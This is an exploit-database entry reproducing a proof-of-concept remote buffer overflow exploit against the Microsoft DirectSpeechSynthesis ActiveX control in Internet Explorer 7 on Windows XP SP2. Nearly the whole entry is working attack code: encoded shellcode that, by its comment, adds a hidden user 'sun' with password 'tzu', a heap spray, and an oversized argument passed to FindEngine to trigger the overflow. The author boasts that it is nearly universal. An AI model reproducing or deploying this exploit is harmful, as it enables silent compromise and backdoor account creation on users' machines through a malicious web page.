Microsoft DirectSpeechSynthesis Module Remote Buffer Overflow Exploit

🗓️ 14 Feb 2008 00:00:00Reported by RootType
Microsoft DirectSpeechSynthesis Module Remote Buffer Overflow Exploit IE7/XP SP2 heap spray version. Unpublished, SAPI4 exploit, universal, dll found on machines

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7.43 11/06/2007
Microsoft DirectSpeechSynthesis Module (XVoice.dll 4.0.4.3303)
remote buffer overflow exploit/ (IE7/XP SP2 heap spray version)

Unpublished one, maybe too effective...
Otherwise called &quot;SAPI4 exploit&quot; but I consider it nearly universal,
in facts, I found this dll on four machines of five

rgod
--&gt;
&lt;html&gt;
&lt;object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'&gt;
&lt;/object&gt;
&lt;script language='javascript'&gt;
///add su one, user: sun pass: tzu
shellcode = unescape(&quot;%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949&quot; +
                     &quot;%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a&quot; +
                     &quot;%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241&quot; +
                     &quot;%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c&quot; +
                     &quot;%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c&quot; +
                     &quot;%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f&quot; +
                     &quot;%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b&quot; +
                     &quot;%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c&quot; +
                     &quot;%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871&quot; +
                     &quot;%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835&quot; +
                     &quot;%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b&quot; +
                     &quot;%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b&quot; +
                     &quot;%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34&quot; +
                     &quot;%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35&quot; +
                     &quot;%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550&quot; +
                     &quot;%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b&quot; +
                     &quot;%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c&quot; +
                     &quot;%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943&quot; +
                     &quot;%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370&quot; +
                     &quot;%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377&quot; +
                     &quot;%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630&quot; +
                     &quot;%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265&quot; +
                     &quot;%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330&quot; +
                     &quot;%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574&quot; +
                     &quot;%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030&quot; +
                     &quot;%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f&quot; +
                     &quot;%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e&quot; +
                     &quot;%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242&quot; +
                     &quot;%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741&quot; +
                     &quot;%u7734%u4734%u4570&quot;);
bigblock  = unescape(&quot;%u9090%u9090&quot;);
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length&lt;slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace&lt;0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i&lt;510;i++){memory[i] = block+shellcode}
suntzu=&quot;&quot;;for (i=1;i&lt;=9999;i++){suntzu=suntzu + unescape(&quot;%u0d0d&quot;);}
EngineID= &quot;default&quot;;
MfgName=&quot;default&quot;;
ProductName=&quot;default&quot;;
ModeID= &quot;default&quot;;
ModeName= suntzu;
LanguageID=1;
Dialect=&quot;default&quot;;
Speaker=&quot;default&quot;;
Style=1;
Gender=1;
Age=1;
Features=1;
Interfaces=1;
EngineFeatures=1;
RankEngineID=1;
RankMfgName=1;
RankProductName=1;
RankModeID=1;
RankModeName=1;
RankLanguage=1;
RankDialect=1;
RankSpeaker=1;
RankStyle=1;
RankGender=1;
RankAge=1;
RankFeatures=1;
RankInterfaces=1;
RankEngineFeatures=1;
DirectSS.FindEngine(EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures);
&lt;/script&gt;
&lt;/html&gt;
14 Feb 2008 00:00Current
7.1High risk
Vulners AI Score7.1